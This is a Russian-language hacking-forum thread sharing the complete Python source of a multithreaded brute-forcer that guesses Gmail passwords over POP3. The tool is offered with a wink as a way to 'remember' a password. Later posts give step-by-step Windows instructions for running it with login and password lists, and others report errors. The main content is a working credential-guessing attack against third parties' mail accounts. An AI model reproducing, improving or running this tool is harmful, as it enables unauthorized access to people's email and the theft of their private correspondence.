Gmail Pop3 Brute Forcer может поможет кому нибудь "вспомнить" пароль. Написан на питоне. (С) 3hydr8 Code: #!usr/bin/python #Gmail Pop3 Brute Forcer #http://darkcode.ath.cx #d3hydr8[at]gmail[dot]com import threading, time, random, sys, poplib from copy import copy if len(sys.argv) !=3: print "\n\t d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0" print "\t --------------------------------------------------\n" print "\t Usage: ./gmailpopbrute.py <userlist> <wordlist>\n" sys.exit(1) server = "pop.gmail.com" success = [] try: users = open(sys.argv[1], "r").readlines() except(IOError): print "[-] Error: Check your userlist path\n" sys.exit(1) try: words = open(sys.argv[2], "r").readlines() except(IOError): print "[-] Error: Check your wordlist path\n" sys.exit(1) try: pop = poplib.POP3_SSL(server, 995) welcome = pop.getwelcome() pop.quit() except (poplib.error_proto): welcome = "No Response" pass print "\n\t d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0" print "\t --------------------------------------------------\n" print "[+] Server:",server print "[+] Port: 995" print "[+] Users Loaded:",len(users) print "[+] Words Loaded:",len(words) print "[+] Server response:",welcome,"\n" wordlist = copy(words) def reloader(): for word in wordlist: words.append(word) def getword(): lock = threading.Lock() lock.acquire() if len(words) != 0: value = random.sample(words, 1) words.remove(value[0]) else: print "\n[-] Reloading Wordlist - Changing User\n" reloader() value = random.sample(words, 1) users.remove(users[0]) lock.release() if len(users) ==1: return value[0][:-1], users[0] else: return value[0][:-1], users[0][:-1] class Worker(threading.Thread): def run(self): value, user = getword() try: print "-"*30 print "[+] User:",user,"Password:",value pop = poplib.POP3_SSL(server, 995) pop.user(user) pop.pass_(value) print "\t\t\n\nLogin successful:",user, value print "\t\tMail:",pop.stat()[0],"emails" print "\t\tSize:",pop.stat()[1],"bytes\n\n" success.append(user) success.append(value) success.append(pop.stat()[0]) success.append(pop.stat()[1]) pop.quit() except (poplib.error_proto), msg: #print "An error occurred:", msg pass for i in range(len(words)*len(users)): work = Worker() work.start() time.sleep(1) if len(success) >=1: print "\n\n[+] Login successful:",success[0], success[1] print "\t[+] Mail:",success[2],"emails" print "\t[+] Size:",success[3],"bytes\n" print "\n[-] Done\n"
gmail.ru - шняга ( извеняюсь за вырожение ), зря старался мне кажется, им пользуются очень мало мэмберов, ИМХО! Это не в обиду, просто моё мнение.
ртуть, не не ))) он говорит все верно, gmail.com - гугловский почтовик, gmail.ru - шняга редкостная )
Может кому то из за этого легче станет))) Про gmail.com не было в этом топике ниодного отрицательного отзыва.
А к примеру посоветуете ли какой интерпретатор для винды или можно из него экзешник сделать и с домашнего компа шмалять?
При запуске выдает такую ошибку( Code: File "C:\gmailpopbrute.py", line 11 print "\n\t d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0" ^ SyntaxError: invalid syntax
Эспешал фо ю для виндавса качаешь интерпретатор с http://www.python.org/ftp/python/2.5.2/python-2.5.2.msi - инсталишь по дефолтному пути, скриптец сохраняешь в brut_gmail.py файлике и кладёшь в папку C:\Python25, дальше создаёшь 2 тхт файлтка login.txt и pass.txt, в ник кладёшь логины и пасы, дальше вызываешь cmd.exe и тулишь туда вот такие вот слова C:\Python25>brut_gmail.py login.txt pass.txt и будет тибе щасьте
File "<stdin>", line 1 C:\Python25>brut_gmail.py login.txt pass.txt ^ SyntaxError: invalid syntax >>> вот такая байда
bomb@bomb-desktop:~$ python g.py d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0 -------------------------------------------------- Usage: ./gmailpopbrute.py <userlist> <wordlist>
в папке нет cmd.exe, есть python.exe, но когда вписываю туда C:\Python25>brut_gmail.py login.txt pass.txt, то выдает собщение, которое в предыдущем посте хелп